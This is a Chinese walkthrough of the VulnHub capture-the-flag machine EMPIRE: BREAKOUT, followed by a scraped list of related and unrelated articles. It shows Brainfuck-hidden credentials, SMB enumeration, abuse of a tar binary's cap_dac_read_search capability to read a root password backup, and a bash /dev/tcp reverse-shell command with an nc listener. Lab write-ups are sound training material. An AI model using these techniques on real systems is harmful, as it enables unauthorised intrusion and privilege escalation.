准备:

攻击机:虚拟机kali、本机win10。

靶机:EMPIRE: BREAKOUT,地址我这里设置的桥接,下载地址:https://download.vulnhub.com/empire/02-Breakout.zip,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。

涉及的知识点:shell反弹、权限提升、smb、samba扫描、解密、getcap命令的使用(查看可执行文件获取的内核权限)。

信息收集:

使用nmap扫描靶机开放的端口和对应的具体服务信息,命令:nmap -T4 -sV -p- -A 192.168.1.4。

对80端口进行文件扫描,但是未发现什么有用的信息。

分别访问下80、10000、20000端口,发现80是一个默认的页面,10000和20000页面是两个登录页面。

尝试对登录窗口进行注入、爆破均失败,但是在80端口的源代码信息中发现了一串加密的字符串。

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :) ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->

开始渗透:

在http://esoteric.sange.fi/brainfuck/impl/interp/i.html网站对字符串进行解密,获得字符串:.2uqPEfj3D<P'a-3

观察到139、445端口开启的samba软件(基于smb协议),因此我们可以使用enum4linux(smb、samba专用扫描器)来进行扫描以下,命令:enum4linux 192.168.1.4,获得用户名:cyber。

使用获得账户名和密码尝试进行登录:cyber/.2uqPEfj3D<P'a-3,发现在20000端口可以登录成功并具有shell权限。

在cyber账户权限下找到第一个flag。

提权:

在/cyber目录下我们还发现了tar文件,查看文件权限发现其具有可执行权限,命令:ls -l。

那我们就查看下该文件执行时所具有的内核权限,命令:getcap tar,发现其可以绕过文件的读权限检查以及目录的读/执行权限的检查(cap_dac_read_search表示的就是这个意思)。

对网站目录目录进行查看,最后在/var目录下发现backup文件,其他目录下未发现有用信息。

在/backups文件夹下发现密码的备份文件:.old_pass.bak

然后对.old_pass.bak文件进行压缩和解压就可以读取root密码,压缩密码:./tar -cvf upfine.tar /var/backups/.old_pass.bak,解压密码:./tar -xvf upfine.tar,然后进入/var/backups目录下读取.old_pass.bak文件,发现root密码:Ts&4&YurgtRX(=~h。

到这里的话有两种方式,第一种:在10000端口采用:admin/Ts&4&YurgtRX(=~h,进行登录,进入后可直接获得root账户权限。

第二种:反弹一个shell,在kali中开启对8899端口的监听,命令:nc -lvvp 8899,然后在靶机中执行bash命令:bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'。

在反弹的shell中切换root用户并查看root下的文件信息,成功获得第二个flag。

vulnhub靶场之EMPIRE的更多相关文章

  1. 【Vulnhub靶场】EMPIRE: BREAKOUT

    环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. 人理解迭代,神则体会递归,从电影艺术到Python代码实现神的逆向思维模式

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_186 "从来如此,便对么?",鲁迅先生在<狂人日记>中借狂人之口在月光下发出的质疑与呐喊,是的,从 ...

  2. 海纳百川无所不容,Win10环境下使用Docker容器式部署前后端分离项目Django+Vue.js

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_179 随着现代化产品研发的不断推进,我们会发现,几乎每个产品线都会包含功能各异的服务,而且服务与服务之间存在也会存在着错综复杂的依 ...

  3. Vue 事件的基本使用 && 事件修饰符

    1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta charset="UTF-8" /> 5 & ...

  4. MYSQL(进阶篇)——一篇文章带你深入掌握MYSQL

    MYSQL(进阶篇)--一篇文章带你深入掌握MYSQL 我们在上篇文章中已经学习了MYSQL的基本语法和概念 在这篇文章中我们将讲解底层结构和一些新的语法帮助你更好的运用MYSQL 温馨提醒:该文章大 ...

  5. 如何使用Solidity和Hardhat构建你自己的NFT以及NFT交易市场

    目录 目录 目录 1.ERC721的基础知识 1.1.什么是不可替代代币? 1.2.什么是 ERC-721? 1.3.什么是元数据 1.4.如何在链上保存NFT的图像 2.HardHat 3.创建项目 ...

  6. 60行自己动手写LockSupport是什么体验?

    60行自己动手写LockSupport是什么体验? 前言 在JDK当中给我们提供的各种并发工具当中,比如ReentrantLock等等工具的内部实现,经常会使用到一个工具,这个工具就是LockSupp ...

  7. Mybatis的ResultMap与limit分页查询

    ResultMap主要解决的是:属性名和字段不一致 如果在pojo中设置的是一个名字,在数据库上又是另一个名字,那么查询出来的结果或者其他操作的结果就为null. //在pojo中 private S ...

  8. 面试突击79:Bean 作用域是啥?它有几种类型?

    Spring 框架作为一个管理 Bean 的 IoC 容器,那么 Bean 自然是 Spring 中的重要资源了,那 Bean 的作用域是什么意思?又有几种类型呢?接下来我们一起来看. PS:Java ...

  9. RabbitMQ 入门系列:9、扩展内容:死信队列:真不适合当延时队列。

    系列目录 RabbitMQ 入门系列:1.MQ的应用场景的选择与RabbitMQ安装. RabbitMQ 入门系列:2.基础含义:链接.通道.队列.交换机. RabbitMQ 入门系列:3.基础含义: ...

  10. noip 2014 提高组初赛

    noip 2014 提高组初赛 一. TCP协议属于哪一层协议( ) A. 应用层 B. 传输层 C. 网络层 D. 数据链路层 B TCP(传输控制协议) 若有变量int a; float: x, ...